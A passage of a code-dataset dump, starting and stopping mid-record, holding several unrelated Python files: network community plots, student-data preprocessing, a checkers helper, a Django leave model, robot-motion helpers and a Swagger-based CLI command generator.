plt.grid(linestyle='--', linewidth=0.5)\n df_emp['log10(count)'] = np.log10(df_emp['count'])\n df_emp['log10(x)'] = np.log10(df_emp['x'])\n df_lfr['log10(count)'] = np.log10(df_lfr['count'])\n df_lfr['log10(x)'] = np.log10(df_lfr['x'])\n df_leiden_lfr['log10(count)'] = np.log10(df_leiden_lfr['count'])\n df_leiden_lfr['log10(x)'] = np.log10(df_leiden_lfr['x'])\n sns.scatterplot(data=df_emp, y=\"log10(count)\", x=\"log10(x)\", linewidth=0, color='black', alpha=0.8, label='Leiden clustering of empirical net')\n sns.scatterplot(data=df_lfr, y=\"log10(count)\", x=\"log10(x)\", linewidth=0, color='turquoise', alpha=0.8, label='LFR ground-truth communities')\n sns.scatterplot(data=df_leiden_lfr, y=\"log10(count)\", x=\"log10(x)\", linewidth=0, color='orange', alpha=0.8,label='Leiden clustering of LFR net')\n plt.title('Community size distribution - '+ name_map[name]+ ' - r=0.'+r)\n plt.xlabel('log10 (cluster size)')\n plt.ylabel('log10 (cluster count)')\n plt.savefig(name+'_'+r+'_cm_size.pdf')'''\n\n\nif __name__ == \"__main__\":\n parser = argparse.ArgumentParser(description='Ploting degree and community size distribution.')\n parser.add_argument('-n', metavar='net', type=str, required=True,\n help='network name')\n args = parser.parse_args()\n\n #net = nx.read_edgelist('../'+args.n+'_integer_cleaned_el.tsv', nodetype=int)\n #net = nx.read_edgelist('./'+args.n+'_cleaned.tsv', nodetype=int)\n #resolutions = [[\"0001\", \"001\"],\n # [\"01\", \"1\"],\n # [\"5\", \"5\"]]\n resolutions = [[\"001\", \"01\"],\n [\"1\", \"5\"]]\n fig, axes = plt.subplots(2, 2, figsize=(12, 10))\n\n for i in range(2):\n for j in range(2):\n r = resolutions[i][j]\n header = './'+args.n+'_leiden.'+r+'_lfr/'\n #lfr_net = nx.read_edgelist(header + 'network_cleaned.tsv', nodetype=int)\n\n #partition = membership_to_partition(get_membership_list_from_file(net, './'+ args.n + '_leiden.' + r + '.tsv'))\n #cluster_sizes = [len(c) for c in partition]\n #cm_size_dfs = pd.Series(Counter(cluster_sizes)).sort_index().rename_axis('x').reset_index(name='count')\n #cm_size_dfs.to_csv('./'+ args.n + '_leiden.' + r + '_csizes.csv')\n cm_size_dfs = pd.read_csv('./' + args.n + '_leiden.' + r + '_csizes.csv')\n\n #lfr_partition = membership_to_partition(get_membership_list_from_file(lfr_net, header+'/community.dat'))\n #cluster_sizes_lfr = [len(c) for c in lfr_partition]\n #cm_size_dfs_lfr = pd.Series(Counter(cluster_sizes_lfr)).sort_index().rename_axis('x').reset_index(name='count')\n #cm_size_dfs_lfr.to_csv(header+'/community'+'_csizes.csv')\n cm_size_dfs_lfr = pd.read_csv(header + '/community' + '_csizes.csv')\n\n #lfr_leiden_partition = membership_to_partition(get_membership_list_from_file(lfr_net, header+'/leiden.'+r+'_lfr.tsv'))\n #cluster_sizes_lfr_leiden = [len(c) for c in lfr_leiden_partition]\n #cm_size_dfs_lfr_leiden = pd.Series(Counter(cluster_sizes_lfr_leiden)).sort_index().rename_axis('x').reset_index(name='count')\n #cm_size_dfs_lfr_leiden.to_csv(header+'/leiden.'+r+'_lfr_csizes.csv')\n cm_size_dfs_lfr_leiden = pd.read_csv(header+'/leiden.'+r+'_lfr_csizes.csv')\n\n plot_cm_dist(axes[i,j], cm_size_dfs, cm_size_dfs_lfr, cm_size_dfs_lfr_leiden, args.n, r)\n\n plt.suptitle(name_map[args.n], fontsize=13)\n plt.savefig(args.n + '_cm_size.pdf', bbox_inches='tight')\n\n #plot_resolution_dist(cm_size_dfs, resolutions, args.n)\n\n","repo_name":"illinois-or-research-analytics/cm_manuscript","sub_path":"analysis/dist-plots/plot_community.py","file_name":"plot_community.py","file_ext":"py","file_size_in_byte":6031,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"4092370026","text":"import numpy as np, pandas as pd, tensorflow as tf\nfrom sklearn import preprocessing\nfrom sklearn.impute import KNNImputer\nfrom sklearn.decomposition import IncrementalPCA\nfrom sklearn.preprocessing import StandardScaler\n\ndate_column = ['INTAKE TERM CODE', 'ADMIT TERM CODE', 'EXPECTED GRAD TERM CODE']\ndrop_column = ['ID 2', 'RECORD COUNT', 'PROGRAM LONG NAME', 'STUDENT TYPE NAME',\n 'STUDENT TYPE GROUP NAME', 'PREV EDU CRED LEVEL NAME',\n 'HS AVERAGE GRADE', 'PROGRAM SEMESTERS', 'TOTAL PROGRAM SEMESTERS',\n 'RESIDENCY STATUS NAME', 'CURRENT STAY STATUS', 'APPL FIRST LANGUAGE DESC',\n 'MAILING COUNTRY NAME', 'MAILING PROVINCE NAME', 'MAILING CITY NAME', 'MAILING POSTAL CODE']\ndata = pd.read_excel('HYPE dataset.xlsx', header=0).drop(columns=drop_column)\ndata['APPL EDUC INST TYPE NAME'] = data['APPL EDUC INST TYPE NAME'].fillna(0).replace('High School', 1) # high school indicator\ndata.rename(columns={'APPL EDUC INST TYPE NAME': 'high school indicator', 'SUCCESS LEVEL': 'failure', 'APPLICANT CATEGORY NAME': 'effective academic history'}, inplace=True)\n# column 'effective academic history' indicates history within certain years, it's ternary: no, high school, and post secondary\ndata['effective academic history'].replace({'Mature: Domestic 19 or older No Academic History': 'no', 'High School, Domestic': 'high school', 'BScN, High School Domestic': 'high school'}, inplace=True)\ndata['effective academic history'].replace(['Mature: Domestic With Post Secondary', 'International Student, with Post Secondary'], 'post secondary', inplace=True)\n\n# ****************************************************************************\n# these columns contain illegal values, fill them with nan\ndata['GENDER'].replace('N', np.nan, inplace=True)\ndata['ACADEMIC PERFORMANCE'].replace('ZZ - Unknown', np.nan, inplace=True)\ndata['APPLICANT TARGET SEGMENT NAME'].replace('Unknown', np.nan, inplace=True)\n# ****************************************************************************\ninternational_postal = ['390', '682', '400', '143', '010'] # overseas zip codes\ndata['MAILING POSTAL CODE GROUP 3'].replace(international_postal, 'overseas', inplace=True)\ndata['failure'].replace(['In Progress', 'Successful', 'Unsuccessful'], [0, 0, 1], inplace=True) # take 'in progress' and 'successful' as not failed\ndata['HS AVERAGE MARKS'][data['high school indicator'] == 0] = 0 # no mark for those who didn't attend high school\nencoder = preprocessing.LabelEncoder()\nfor column in data.columns:\n\tdata[column] = pd.Series(encoder.fit_transform(data[column][data[column].notna()]), index=data[column][data[column].notna()].index)\n# impute missing values\ndata[['MAILING POSTAL CODE GROUP 3', 'FIRST GENERATION IND']] = KNNImputer().fit_transform(data[['MAILING POSTAL CODE GROUP 3', 'FIRST GENERATION IND']])\ndata[['APPLICANT TARGET SEGMENT NAME', 'MAILING POSTAL CODE GROUP 3', 'AGE GROUP LONG NAME']] = KNNImputer().fit_transform(data[['APPLICANT TARGET SEGMENT NAME', 'MAILING POSTAL CODE GROUP 3', 'AGE GROUP LONG NAME']])\ndata[['MAILING POSTAL CODE GROUP 3', 'ENGLISH TEST SCORE']] = KNNImputer().fit_transform(data[['MAILING POSTAL CODE GROUP 3', 'ENGLISH TEST SCORE']])\ndata[['high school indicator', 'HS AVERAGE MARKS']] = KNNImputer().fit_transform(data[['high school indicator', 'HS AVERAGE MARKS']])\ndata[['failure', 'ACADEMIC PERFORMANCE']] = KNNImputer().fit_transform(data[['failure', 'ACADEMIC PERFORMANCE']])\ndata[['PRIMARY PROGRAM CODE', 'GENDER']] = KNNImputer().fit_transform(data[['PRIMARY PROGRAM CODE', 'GENDER']])\ndata['GENDER'] = np.where(data['GENDER'] > .5, 1, 0)\ndata['FIRST GENERATION IND'] = np.where(data['FIRST GENERATION IND'] > .5, 1, 0)\n\nreduced_feature = IncrementalPCA(n_components=1).fit_transform(data[['FUNDING SOURCE NAME', 'TIME STATUS NAME']]) # FUNDING SOURCE NAME is highly correlated with TIME STATUS NAME\ndata.insert(6, 'time and fund', reduced_feature)\ndata.drop(columns=['FUNDING SOURCE NAME', 'TIME STATUS NAME', 'high school indicator'], inplace=True)\n\nlabel = data['failure']\ndata.drop(columns='failure', inplace=True)\ndata = StandardScaler().fit_transform(data)\ndataset = tf.data.Dataset.from_tensor_slices((data, label))\nfor x, y in dataset:\n\tprint(x, y)","repo_name":"tanjiarui/comp258","sub_path":"lab 3/exercise 1.py","file_name":"exercise 1.py","file_ext":"py","file_size_in_byte":4248,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"21"} +{"seq_id":"13878081703","text":"# helper module for PyCheckersGame in checkers_game.pyx\n# Author: Hal DiMarchi\n\nimport random\nimport string\nimport os\n\nBOARD_SIZE = 8\n\n\ndef get_random_string():\n random_string = ''.join([random.choice\n (string.ascii_letters + string.digits)\n for n in range(8)])\n return random_string\n\n\ndef example_board():\n board = [[0 for x in range(BOARD_SIZE)]\n for y in range(BOARD_SIZE)]\n\n for row in range(BOARD_SIZE):\n for column in range(BOARD_SIZE):\n if row > 2 and row < 5:\n board[row][column] = \" \"\n else:\n if row % 2 == 0 and column % 2 != 0:\n if row <= 2:\n board[row][column] = \"b\"\n else:\n board[row][column] = \"r\"\n elif row % 2 != 0 and column % 2 == 0:\n if row <= 2:\n board[row][column] = \"b\"\n else:\n board[row][column] = \"r\"\n else:\n board[row][column] = \" \"\n return board\n\n\ndef ensure_dir(directory):\n if not os.path.exists(directory):\n os.makedirs(directory)\n","repo_name":"williamh890/checkers-ai","sub_path":"checkers-ai/helper/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":1231,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"37522194471","text":"from __future__ import unicode_literals\n\nfrom datetime import date\nfrom dateutil import rrule\n\nfrom dateutil.relativedelta import relativedelta\n\nfrom django.contrib.auth.models import User\n\nfrom django.db import models\n\n# Create your models here.\nclass Employee(models.Model) :\n\n\tuser=models.OneToOneField(User, on_delete=models.CASCADE)\n\tstart_date=models.DateField()\n\tdays_remain=models.IntegerField(default=18)\n\nclass Leave(models.Model) :\n\n\tSTATUS_CHOICES = (\n\t\t('new', 'New'),\n\t\t('approved', 'Approved'),\n\t\t('declined', 'Declined')\n\t)\n\n\temployee=models.ForeignKey('Employee')\n\tstart_date=models.DateField()\n\tend_date=models.DateField()\n\tdays_of_leave=models.IntegerField()\n\tstatus=models.CharField(max_length=12,choices=STATUS_CHOICES, default='new')\n\n\tLEAVE_DAYS_PER_YEAR=18\n\tMAXIMUM_ACCUMULATED_DAYS=5\n\n\tdef save(self, *args, **kwargs) :\n\n\t\tnumber_of_leavedays=self.get_days_of_leave()\n\n\t\tthree_months_ago = date.today() - relativedelta(months=3)\n\t\tif(self.employee.start_date.date() < three_months_ago) :\n\t\t\traise ValueError(\"Your start date is less than 3 months ago.\")\n\n\t\temployee_days_taken=self.get_employee_days_taken()\n\t\tif (employee_days_taken + number_of_leavedays) > (self.LEAVE_DAYS_PER_YEAR + self.MAXIMUM_ACCUMULATED_DAYS):\n\t\t\traise ValueError(\"You have exceeded your number of available leave days.\")\n\n\t\t#logic missing here for accumulated leave days\n\t\temployee.days_remain = self.LEAVE_DAYS_PER_YEAR - (self.employee.days_remain+number_of_leavedays)\n\t\temployee.save()\n\n\t\tself.days_of_leave=number_of_leavedays\n\n\t\treturn super(Leave, self).save(*args, **kwargs)\n\n\n\tdef approve():\n\t\tself.status='approved'\n\t\tself.save()\n\n\tdef get_days_of_leave(self) :\n\n\t\tstart_date=self.start_date\n\t\tend_date=self.end_date\n\n\t\tif start_date == None or end_date == None :\n\t\t\traise ValueError(\"No valid start or end leave date found.\")\n\n\t\tdays_off = 5, 6\n\n\t\tworkdays = [x for x in range(7) if x not in days_off]\n\t\tdays = rrule.rrule(rrule.DAILY, dtstart=start_date, until=end_date,byweekday=workdays)\n\n\t\treturn days.count( )\n\n\tdef get_employee_days_taken(self) :\n\t\t\n\t\tmonths_formula=12\n\t\tif(self.start_date() > twelve_months_ago) :\n\t\t\tmonths_formula=24\n\n\t\tmonths_formula = date.today() - relativedelta(months=months_formula)\n\n\t\ttotal_leave_taken = Employee.objects.filter(status='approved').filter(employee=self).filter(start_date__gte=months_formula).aggregate(leave_days=Sum('days_of_leave'))\n\t\t\n\t\tif total_leave_taken['days_of_leave'] != None :\n\t\t\treturn total_leave_taken['days_of_leave']\n\n\t\treturn 0","repo_name":"cjaffar/tangent","sub_path":"hr/models.py","file_name":"models.py","file_ext":"py","file_size_in_byte":2505,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"9964898178","text":"from compas.geometry import Scale\nfrom compas.robots import Joint\nimport compas_rrc as rrc\nimport math\n\ndef move_to_frame(robot, frame, speed=250, zone=rrc.Zone.FINE, scalefactor=1000):\n \"\"\"\n Move to frame is a function that moves the robot in cartesian space.\n Converts m to mm.\n \"\"\"\n S = Scale.from_factors([scalefactor] * 3) #scale frame from m to mm\n frame.transform(S)\n robot.abb_client.send(rrc.MoveToFrame(frame, speed, zone)) #send command to robot\n\ndef move_to_robtarget(robot, frame, cart, speed=250, zone=rrc.Zone.FINE, scalefactor=1000):\n \"\"\"\n send move to robtarget command to robot in m to mm conversion\n \"\"\"\n S = Scale.from_factors([scalefactor] * 3) #scale frame from m to mm\n frame.transform(S)\n cart = cart*scalefactor #scale cart\n ext_axes = rrc.ExternalAxes([cart])\n robot.abb_client.send(rrc.MoveToRobtarget(frame, ext_axes, speed, zone)) #send command to robot\n\ndef move_to_joints(robot, configuration, speed=250, zone=rrc.Zone.FINE):\n \"\"\"\n Move to joints is a function that moves the robot and the external axes with axes values.\n \"\"\"\n joints = [] # store joint values in degree from configuration\n for i, joint_type in enumerate(configuration.joint_types):\n if joint_type == Joint.REVOLUTE:\n joints.append(math.degrees(configuration.joint_values[i]))\n joints = rrc.RobotJoints(joints)\n\n cart = [] # store cart values from configuration in m\n #cart = (configuration.joint_values[0]) # store cart values from configuration in m\n #cart = cart*scalefactor #scale cart value in mm\n #cart = rrc.ExternalAxes(cart)\n\n robot.abb_client.send(rrc.MoveToJoints(joints, cart, speed, zone)) # send joints and cart values to robot\n\n\n","repo_name":"augmentedfabricationlab/crb15000_fabrication_control","sub_path":"src/fabtory_fabrication_control/commands/motion.py","file_name":"motion.py","file_ext":"py","file_size_in_byte":1738,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"21"} +{"seq_id":"40172853050","text":"import logging\nimport re\n\nimport inflect\nfrom command.model.configuration import CMDCommandGroup, CMDCommand, CMDHttpOperation, CMDHttpRequest, \\\n CMDSchemaDefault, CMDHttpResponseJsonBody, CMDArrayOutput, CMDJsonInstanceUpdateAction, \\\n CMDInstanceUpdateOperation, CMDRequestJson, DEFAULT_CONFIRMATION_PROMPT, CMDClsSchemaBase, CMDHttpResponse, \\\n CMDResponseJson\nfrom swagger.model.schema.cmd_builder import CMDBuilder\nfrom swagger.model.schema.fields import MutabilityEnum\nfrom swagger.model.schema.path_item import PathItem\nfrom swagger.model.specs import SwaggerLoader\nfrom swagger.model.specs._utils import operation_id_separate, camel_case_to_snake_case, get_url_path_valid_parts\nfrom utils import exceptions\nfrom utils.config import Config\nfrom utils.plane import PlaneEnum\nfrom utils.error_format import AAZErrorFormatEnum\n\nlogger = logging.getLogger('backend')\n\n\nclass CommandGenerator:\n _inflect_engine = inflect.engine()\n\n def __init__(self):\n self.loader = SwaggerLoader()\n\n def load_resources(self, resources):\n for resource in resources:\n self.loader.load_file(resource.file_path)\n self.loader.link_swaggers()\n\n def create_draft_command_group(self, resource,\n instance_var,\n update_by=None,\n methods=('get', 'delete', 'put', 'post', 'head', 'patch'),\n **kwargs):\n swagger = self.loader.get_loaded(resource.file_path)\n assert swagger is not None\n path_item = swagger.paths.get(resource.path, None)\n if path_item is None:\n path_item = swagger.x_ms_paths.get(resource.path, None)\n\n command_group = CMDCommandGroup()\n command_group.commands = []\n\n assert isinstance(path_item, PathItem)\n if path_item.get is not None and 'get' in methods:\n cmd_builder = CMDBuilder(path=resource.path, method='get', mutability=MutabilityEnum.Read,\n parameterized_host=swagger.x_ms_parameterized_host)\n show_or_list_command = self.generate_command(path_item, resource, instance_var, cmd_builder)\n command_group.commands.append(show_or_list_command)\n\n if path_item.delete is not None and 'delete' in methods:\n cmd_builder = CMDBuilder(path=resource.path, method='delete', mutability=MutabilityEnum.Create,\n parameterized_host=swagger.x_ms_parameterized_host)\n delete_command = self.generate_command(path_item, resource, instance_var, cmd_builder)\n delete_command.confirmation = DEFAULT_CONFIRMATION_PROMPT # add confirmation for delete command by default\n command_group.commands.append(delete_command)\n\n if path_item.put is not None and 'put' in methods:\n cmd_builder = CMDBuilder(path=resource.path, method='put', mutability=MutabilityEnum.Create,\n parameterized_host=swagger.x_ms_parameterized_host)\n create_command = self.generate_command(path_item, resource, instance_var, cmd_builder)\n command_group.commands.append(create_command)\n\n if path_item.post is not None and 'post' in methods:\n cmd_builder = CMDBuilder(path=resource.path, method='post', mutability=MutabilityEnum.Create,\n parameterized_host=swagger.x_ms_parameterized_host)\n action_command = self.generate_command(path_item, resource, instance_var, cmd_builder)\n command_group.commands.append(action_command)\n\n if path_item.head is not None and 'head' in methods:\n cmd_builder = CMDBuilder(path=resource.path, method='head', mutability=MutabilityEnum.Read,\n parameterized_host=swagger.x_ms_parameterized_host)\n head_command = self.generate_command(path_item, resource, instance_var, cmd_builder)\n command_group.commands.append(head_command)\n\n # update command\n if update_by is None:\n update_by_patch_command = None\n update_by_generic_command = None\n if path_item.patch is not None and 'patch' in methods:\n cmd_builder = CMDBuilder(path=resource.path, method='patch', mutability=MutabilityEnum.Update,\n parameterized_host=swagger.x_ms_parameterized_host)\n update_by_patch_command = self.generate_command(path_item, resource, instance_var, cmd_builder)\n if path_item.get is not None and path_item.put is not None and 'get' in methods and 'put' in methods:\n cmd_builder = CMDBuilder(path=resource.path,\n parameterized_host=swagger.x_ms_parameterized_host)\n update_by_generic_command = self.generate_generic_update_command(path_item, resource, instance_var, cmd_builder)\n # generic update command first, patch update command after that\n if update_by_generic_command:\n command_group.commands.append(update_by_generic_command)\n elif update_by_patch_command:\n command_group.commands.append(update_by_patch_command)\n else:\n if update_by == 'GenericOnly':\n if path_item.get is None or path_item.put is None:\n raise exceptions.InvalidAPIUsage(f\"Invalid update_by resource: resource needs to have 'get' and 'put' operations: '{resource}'\")\n if 'get' not in methods or 'put' not in methods:\n raise exceptions.InvalidAPIUsage(f\"Invalid update_by resource: '{resource}': 'get' or 'put' not in methods: '{methods}'\")\n cmd_builder = CMDBuilder(path=resource.path,\n parameterized_host=swagger.x_ms_parameterized_host)\n generic_update_command = self.generate_generic_update_command(path_item, resource, instance_var, cmd_builder)\n if generic_update_command is None:\n raise exceptions.InvalidAPIUsage(f\"Invalid update_by resource: failed to generate generic update: '{resource}'\")\n command_group.commands.append(generic_update_command)\n # elif 'update_by' in kwargs:\n # logger.error(f'Failed to generate generic update for resource: {resource}')\n elif update_by == 'PatchOnly':\n if path_item.patch is None:\n raise exceptions.InvalidAPIUsage(f\"Invalid update_by resource: resource needs to have 'patch' operation: '{resource}'\")\n if 'patch' not in methods:\n raise exceptions.InvalidAPIUsage(f\"Invalid update_by resource: '{resource}': 'patch' not in methods: '{methods}'\")\n cmd_builder = CMDBuilder(path=resource.path, method='patch', mutability=MutabilityEnum.Update,\n parameterized_host=swagger.x_ms_parameterized_host)\n patch_update_command = self.generate_command(path_item, resource, instance_var, cmd_builder)\n command_group.commands.append(patch_update_command)\n # elif update_by == 'GenericAndPatch':\n # # TODO: add support for generic and patch merge\n # if path_item.get is None or path_item.put is None or path_item.patch is None:\n # raise exceptions.InvalidAPIUsage(f\"Invalid update_by resource: resource needs to have 'get' and 'put' and 'patch' operation: '{resource}'\")\n # if 'get' not in methods or 'put' not in methods or 'patch' not in methods:\n # raise exceptions.InvalidAPIUsage(f\"Invalid update_by resource: '{resource}': 'get' or 'put' or 'patch' not in methods: '{methods}'\")\n # cmd_builder = CMDBuilder(path=resource.path,\n # parameterized_host=swagger.x_ms_parameterized_host)\n # generic_update_command = self.generate_generic_update_command(path_item, resource, instance_var, cmd_builder)\n # if generic_update_command is None:\n # raise exceptions.InvalidAPIUsage(f\"Invalid update_by resource: failed to generate generic update: '{resource}'\")\n # cmd_builder = CMDBuilder(path=resource.path, method='patch', mutability=MutabilityEnum.Update,\n # parameterized_host=swagger.x_ms_parameterized_host)\n # patch_update_command = self.generate_command(path_item, resource, instance_var, cmd_builder)\n # generic_and_patch_update_command = self._merge_update_commands(\n # patch_command=patch_update_command, generic_command=generic_update_command\n # )\n # command_group.commands.append(generic_and_patch_update_command)\n elif update_by != 'None':\n raise exceptions.InvalidAPIUsage(f\"Invalid update_by value: {update_by} : only support ['GenericOnly', 'PatchOnly', 'None'] values\")\n\n for command in command_group.commands:\n parts = command.name.split(' ')\n group_name = ' '.join(parts[:-1])\n if command_group.name:\n assert group_name == command_group.name\n else:\n command_group.name = group_name\n command.name = parts[-1] # remove the command group name parts\n self.optimize_command_description(command)\n\n return command_group\n\n @staticmethod\n def generate_command_version(resource):\n return resource.version\n\n def generate_command(self, path_item, resource, instance_var, cmd_builder):\n command = CMDCommand()\n command.version = self.generate_command_version(resource)\n command.resources = [\n resource.to_cmd()\n ]\n\n op = self._generate_operation(cmd_builder, path_item, instance_var)\n cmd_builder.apply_cls_definitions(op)\n\n assert isinstance(op, CMDHttpOperation)\n if not self._set_api_version_parameter(op.http.request, api_version=resource.version):\n logger.warning(\n f\"Cannot Find api version parameter: {cmd_builder.path}, '{cmd_builder.method}' : {path_item.traces}\")\n\n command.description = op.description\n command.operations = [op]\n\n command.generate_args()\n command.generate_outputs(pageable=cmd_builder.get_pageable(path_item, op))\n\n output = command.outputs[0] if command.outputs else None\n command.name = self._generate_command_name(path_item, resource, cmd_builder.method, output)\n\n return command\n\n def generate_generic_update_command(self, path_item, resource, instance_var, cmd_builder):\n command = CMDCommand()\n command.version = self.generate_command_version(resource)\n command.resources = [\n resource.to_cmd()\n ]\n assert path_item.get is not None\n assert path_item.put is not None\n\n get_op = self._generate_operation(\n cmd_builder, path_item, instance_var, method='get', mutability=MutabilityEnum.Read)\n put_op = self._generate_operation(\n cmd_builder, path_item, instance_var, method='put', mutability=MutabilityEnum.Update)\n\n cmd_builder.apply_cls_definitions(get_op, put_op)\n\n if put_op.http.request.body is None:\n return None\n\n if not self._set_api_version_parameter(get_op.http.request, api_version=resource.version):\n logger.warning(f\"Cannot Find api version parameter: {resource.path}, 'get' : {path_item.traces}\")\n if not self._set_api_version_parameter(put_op.http.request, api_version=resource.version):\n logger.warning(f\"Cannot Find api version parameter: {resource.path}, 'put' : {path_item.traces}\")\n\n if not command.build_output_by_operation(get_op):\n return None\n\n if not command.build_output_by_operation(put_op):\n return None\n\n self._filter_generic_update_parameters(get_op, put_op)\n\n command.description = put_op.description\n json_update_op = self._generate_instance_update_operation(put_op, instance_var)\n command.operations = [\n get_op,\n json_update_op,\n put_op\n ]\n\n command.generate_args()\n command.generate_outputs()\n\n assert command.outputs\n\n group_name = self.generate_command_group_name_by_resource(\n resource_path=resource.path, rp_name=resource.resource_provider.name)\n command.name = f\"{group_name} update\"\n return command\n\n @staticmethod\n def _generate_operation(cmd_builder, path_item, instance_var, **kwargs):\n op = cmd_builder(path_item, **kwargs)\n\n assert isinstance(op, CMDHttpOperation)\n error_format = None\n for resp in op.http.responses:\n if resp.is_error:\n if not isinstance(resp.body, CMDHttpResponseJsonBody):\n if not resp.body:\n raise exceptions.InvalidAPIUsage(\n f\"Invalid `Error` response schema in operation `{op.operation_id}`: \"\n f\"Missing `schema` property in response \"\n f\"`{resp.status_codes or 'default'}`.\"\n )\n else:\n raise exceptions.InvalidAPIUsage(\n f\"Invalid `Error` response schema in operation `{op.operation_id}`: \"\n f\"Only support json schema, current is '{type(resp.body)}' in response \"\n f\"`{resp.status_codes or 'default'}`\"\n )\n schema = resp.body.json.schema\n if not isinstance(schema, CMDClsSchemaBase):\n raise NotImplementedError()\n name = schema.type[1:]\n if not error_format:\n error_format = name\n if error_format != name:\n raise exceptions.InvalidAPIUsage(\n f\"Invalid `Error` response schema in operation `{op.operation_id}`: \"\n f\"Multiple schema formats are founded: {name}, {error_format}\"\n )\n else:\n if resp.body is None:\n continue\n if isinstance(resp.body, CMDHttpResponseJsonBody):\n resp.body.json.var = instance_var\n\n if not error_format:\n # TODO: refactor the following line to support data plane command generation.\n if Config.DEFAULT_PLANE != PlaneEnum.Mgmt:\n raise exceptions.InvalidAPIUsage(\n f\"Missing `Error` response schema in operation `{op.operation_id}`: \"\n f\"Please define the `default` response in swagger for error.\"\n )\n # use MgmtErrorFormat for default error response schema\n error_format = AAZErrorFormatEnum.MgmtErrorFormat\n err_response = CMDHttpResponse()\n err_response.is_error = True\n err_response.status_codes = []\n err_response.body = CMDHttpResponseJsonBody()\n err_response.body.json = CMDResponseJson()\n err_schema = CMDClsSchemaBase()\n err_schema._type = f\"@{error_format}\"\n err_response.body.json.schema = err_schema\n op.http.responses.append(err_response)\n elif not AAZErrorFormatEnum.validate(error_format):\n raise exceptions.InvalidAPIUsage(\n f\"Invalid `Error` response schema in operation `{op.operation_id}`: \"\n f\"Invalid error format `{error_format}`. Support `ODataV4Format` and `MgmtErrorFormat` only\"\n )\n\n return op\n\n @staticmethod\n def _set_api_version_parameter(request, api_version):\n assert isinstance(request, CMDHttpRequest)\n assert isinstance(api_version, str)\n find_api_version = False\n query = request.query\n if query is not None:\n for idx in range(len(query.params)):\n param = query.params[idx]\n if param.name == \"api-version\":\n param.default = CMDSchemaDefault()\n param.default.value = api_version\n param.read_only = True\n param.const = True\n if query.consts is None:\n query.consts = []\n query.consts.append(param)\n query.params.pop(idx)\n find_api_version = True\n break\n path = request.path\n if not find_api_version and path is not None and path.params:\n # some data plane module contains apiversion in their host template\n for idx in range(len(path.params)):\n param = path.params[idx]\n if param.name.lower() == \"apiversion\":\n param.default = CMDSchemaDefault()\n param.default.value = api_version\n param.read_only = True\n param.const = True\n if path.consts is None:\n path.consts = []\n path.consts.append(param)\n path.params.pop(idx)\n find_api_version = True\n break\n return find_api_version\n\n @classmethod\n def generate_command_group_name_by_resource(cls, resource_path, rp_name):\n valid_parts = get_url_path_valid_parts(resource_path, rp_name)\n\n names = []\n\n # add resource provider name as command group name\n for rp_part in rp_name.split('.'):\n if rp_part.lower() in (\"microsoft\", \"azure\"):\n # ignore microsoft and azure keywards\n continue\n names.append(camel_case_to_snake_case(rp_part, '-'))\n\n for part in valid_parts[1:]: # ignore first part to avoid include resource provider\n if re.match(r'^\\{[^{}]*}$', part):\n continue\n # handle part such as `docs('{key}')`\n part = re.sub(r\"\\{[^{}]*}\", '', part)\n part = re.sub(r\"[^a-zA-Z0-9\\-._]\", '', part)\n name = camel_case_to_snake_case(part, '-')\n singular_name = cls._inflect_engine.singular_noun(name) or name\n names.append(singular_name)\n return \" \".join([name for name in names if name])\n\n def _generate_command_name(self, path_item, resource, method, output):\n group_name = self.generate_command_group_name_by_resource(\n resource_path=resource.path, rp_name=resource.resource_provider.name)\n url_path = resource.id.split(\"?\")[0]\n if method == \"get\":\n if url_path.endswith(\"/{}\"):\n command_name = f\"{group_name} show\"\n else:\n sub_url_path = url_path + \"/{}\"\n if path_item.get.x_ms_pageable:\n command_name = f\"{group_name} list\"\n elif isinstance(output, CMDArrayOutput) and output.next_link is not None:\n command_name = f\"{group_name} list\"\n # logger.debug(\n # f\"Command Name For Get set to 'list' by nexLink: {resource.path} :\"\n # f\" {path_item.get.operation_id} : {path_item.traces}\"\n # )\n elif sub_url_path in resource.resource_provider.get_resource_map():\n command_name = f\"{group_name} list\"\n # logger.debug(\n # f\"Command Name For Get set to 'list' by sub_url_path: {resource.path} :\"\n # f\" {path_item.get.operation_id} : {path_item.traces}\"\n # )\n else:\n # by operation id\n op_parts = operation_id_separate(path_item.get.operation_id)\n contain_list = False\n contain_get = False\n for part in op_parts:\n if \"list\" in part:\n contain_list = True\n elif \"get\" in part:\n contain_get = True\n if contain_list and not contain_get:\n command_name = f\"{group_name} list\"\n # logger.debug(\n # f\"Command Name For Get set to 'list' by operation_id: {resource.path} :\"\n # f\" {path_item.get.operation_id} : {path_item.traces}\"\n # )\n elif contain_get and not contain_list:\n command_name = f\"{group_name} show\"\n # logger.debug(\n # f\"Command Name For Get set to 'show' by operation_id: {resource.path} :\"\n # f\" {path_item.get.operation_id} : {path_item.traces}\"\n # )\n else:\n command_name = f\"{group_name} \" + '-'.join(op_parts[-1])\n logger.warning(\n f\"Command Name For Get set by operation_id: {command_name} : {resource.path} :\"\n f\" {path_item.get.operation_id} : {path_item.traces}\"\n )\n\n elif method == \"delete\":\n command_name = f\"{group_name} delete\"\n elif method == \"put\":\n command_name = f\"{group_name} create\"\n elif method == \"patch\":\n command_name = f\"{group_name} update\"\n elif method == \"head\":\n command_name = f\"{group_name} head\"\n elif method == \"post\":\n if not url_path.endswith(\"/{}\") and not path_item.get and not path_item.put and not path_item.patch and \\\n not path_item.delete and not path_item.head:\n # directly use group name as command name\n command_name = group_name\n else:\n op_parts = operation_id_separate(path_item.post.operation_id)\n command_name = f\"{group_name} \" + '-'.join(op_parts[-1])\n logger.warning(f\"Command Name For Post set by operation_id: {command_name} : {resource.path} :\"\n f\" {path_item.post.operation_id} : {path_item.traces}\")\n else:\n raise NotImplementedError()\n return command_name\n\n # For update\n @staticmethod\n def _generate_instance_update_operation(put_op, instance_var):\n json_update_op = CMDInstanceUpdateOperation()\n json_update_op.instance_update = CMDJsonInstanceUpdateAction()\n json_update_op.instance_update.ref = instance_var\n json_update_op.instance_update.json = CMDRequestJson()\n json_update_op.instance_update.json.schema = put_op.http.request.body.json.schema\n\n put_op.http.request.body.json.ref = instance_var\n put_op.http.request.body.json.schema = None\n 